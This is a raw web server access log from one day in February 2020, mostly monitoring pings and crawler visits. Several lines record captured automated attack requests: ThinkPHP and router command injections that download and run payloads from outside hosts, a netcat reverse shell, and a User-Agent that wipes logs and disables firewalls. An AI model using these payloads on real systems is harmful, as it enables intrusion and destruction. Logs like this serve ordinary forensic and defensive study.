212.91.246.72 - - [20/Feb/2020:10:20:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.15.239.226 - - [20/Feb/2020:10:20:38 +0100] "GET / HTTP/1.1" 200 1229 "https://www.google.de/" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Safari/604.1"
89.15.239.226 - - [20/Feb/2020:10:20:38 +0100] "GET /favicon.ico HTTP/1.1" 404 331 "http://www.friedrich-list-berlin.de/" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Safari/604.1"
178.176.193.28 - - [20/Feb/2020:10:20:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:10:21:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:22:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:23:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:24:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:25:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:26:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.88 - - [20/Feb/2020:10:27:31 +0100] "GET /robots.txt HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.90 - - [20/Feb/2020:10:27:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [20/Feb/2020:10:27:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.94.125.73 - - [20/Feb/2020:10:28:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
49.235.146.76 - - [20/Feb/2020:10:29:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [20/Feb/2020:10:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:30:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.50.169.82 - - [20/Feb/2020:10:31:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [20/Feb/2020:10:31:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.240.68.235 - - [20/Feb/2020:10:33:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [20/Feb/2020:10:33:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:34:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.8.81.71 - - [20/Feb/2020:10:35:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:10:35:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:36:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:38:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:39:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:40:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:41:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:42:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:43:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:44:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:45:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.149.93 - - [20/Feb/2020:10:45:47 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
54.36.148.62 - - [20/Feb/2020:10:45:47 +0100] "GET /seiten/partner.htm HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [20/Feb/2020:10:46:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:47:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:48:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:49:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.12.251.35 - - [20/Feb/2020:10:49:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [20/Feb/2020:10:50:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.0.44.248 - - [20/Feb/2020:10:51:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:10:51:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:52:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:53:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:54:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:56:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:57:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:58:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:10:59:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.100.8.144 - - [20/Feb/2020:11:00:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:11:00:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.226.25.182 - - [20/Feb/2020:11:01:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [20/Feb/2020:11:01:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:03:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:04:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:05:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.49.226.137 - - [20/Feb/2020:11:06:20 +0100] "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2037.49.226.137%2029312%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0" 404 322 "-" "-"
212.91.246.72 - - [20/Feb/2020:11:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:07:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:08:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.78.2.196 - - [20/Feb/2020:11:08:57 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [20/Feb/2020:11:09:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:10:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:11:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:12:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
156.238.167.18 - - [20/Feb/2020:11:13:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [20/Feb/2020:11:13:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:14:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:15:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
149.3.27.4 - - [20/Feb/2020:11:16:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:11:16:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:17:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.170.14.210 - - [20/Feb/2020:11:17:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.247.131.12 - - [20/Feb/2020:11:18:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.55.17.59 - - [20/Feb/2020:11:18:18 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
212.91.246.72 - - [20/Feb/2020:11:18:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.54.228.221 - - [20/Feb/2020:11:19:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [20/Feb/2020:11:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:20:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:21:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:22:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.250.62.111 - - [20/Feb/2020:11:23:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:11:23:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:24:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:25:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:26:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.117.108.17 - - [20/Feb/2020:11:27:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:11:27:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.223.100.18 - - [20/Feb/2020:11:28:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:11:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.58.7.106 - - [20/Feb/2020:11:29:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [20/Feb/2020:11:30:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.172.117.170 - - [20/Feb/2020:11:30:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:11:31:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.73.103.51 - - [20/Feb/2020:11:32:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:11:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:33:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:34:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:35:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [20/Feb/2020:11:35:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [20/Feb/2020:11:35:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [20/Feb/2020:11:35:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [20/Feb/2020:11:36:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [20/Feb/2020:11:36:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:11:36:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.87.29.136 - - [20/Feb/2020:11:36:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [20/Feb/2020:11:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:38:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:39:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.180.208.154 - - [20/Feb/2020:11:39:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [20/Feb/2020:11:39:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [20/Feb/2020:11:39:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [20/Feb/2020:11:40:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [20/Feb/2020:11:40:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:11:40:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:41:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:42:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:43:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:44:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:45:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.162.108.138 - - [20/Feb/2020:11:46:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [20/Feb/2020:11:46:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:47:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.39 - - [20/Feb/2020:11:47:48 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.39 - - [20/Feb/2020:11:47:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [20/Feb/2020:11:48:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:49:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:50:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:51:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
